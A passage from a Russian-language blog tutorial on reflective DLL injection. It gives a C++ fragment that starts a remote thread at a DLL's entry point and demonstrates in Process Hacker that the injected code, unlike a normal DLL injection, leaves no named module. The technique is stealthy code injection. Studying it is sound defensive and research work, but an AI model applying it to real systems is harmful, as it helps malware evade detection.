  &lt;p&gt;Выполнение почти такое же, как и при обычном внедрении DLL с использованием вызова &lt;code&gt;CreateRemoteThread&lt;/code&gt;. Единственная разница здесь в том, что мы не будем использовать &lt;code&gt;LoadLibrary&lt;/code&gt;, но вместо этого мы будем использовать адрес значения точки входа непосредственно из DLL, которая должна быть&lt;code&gt;DllMain&lt;/code&gt;.&lt;/p&gt;
  &lt;pre&gt;this-&amp;gt;payload-&amp;gt;dwEntryPoint = reinterpret_cast&amp;lt;DWORD&amp;gt;(this-&amp;gt;payload-&amp;gt;lpAddress) + pinh-&amp;gt;OptionalHeader.AddressOfEntryPoint;

HANDLE hThread = ::CreateRemoteThread(this-&amp;gt;payload-&amp;gt;hProcess, NULL, 0, reinterpret_cast&amp;lt;LPTHREAD_START_ROUTINE&amp;gt;(payload-&amp;gt;dwEntryPoint), NULL, 0, NULL);&lt;/pre&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;Вот и все!)&lt;/p&gt;
  &lt;h3&gt;&lt;strong&gt;Демонстрация&lt;/strong&gt;&lt;/h3&gt;
  &lt;p&gt;В этой демонстрации я буду использовать, &lt;code&gt;putty.exe&lt;/code&gt;, потому что я не могу использовать &lt;code&gt;explorer.exe&lt;/code&gt;,потому что это 64-битный процесс по сравнению с моим 32-битным инжектором и DLL. Кроме того, у меня нигде нет 32-битной виртуалки. Я также буду использовать инструмент мониторинга &lt;em&gt;Process Hacker&lt;/em&gt; для просмотра результата внедрения DLL.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Обычная DLL инъекция&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;Вот результат обычного метода внедрения DLL:&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/fe/14/fe143257-9a09-402a-a001-3896e898ade8.png&quot; width=&quot;690&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Мы можем видеть, что он четко отображается в списке загруженных модулей и очевидно, что в затронутом процессе присутствует посторонний код.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Отражающая DLL инъекция&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;Давайте теперь проверим метод внедрения отражающей DLL:&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/47/9b/479b4d42-5b09-4c0f-b8aa-c755bde3e131.png&quot; width=&quot;690&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;И здесь нет названия для этого блока памяти. Помимо &lt;code&gt;RWX&lt;/code&gt; разрешений, нет никаких явных признаков того, что существует какой-либо сторонний код!&lt;/p&gt;

</content></entry></feed>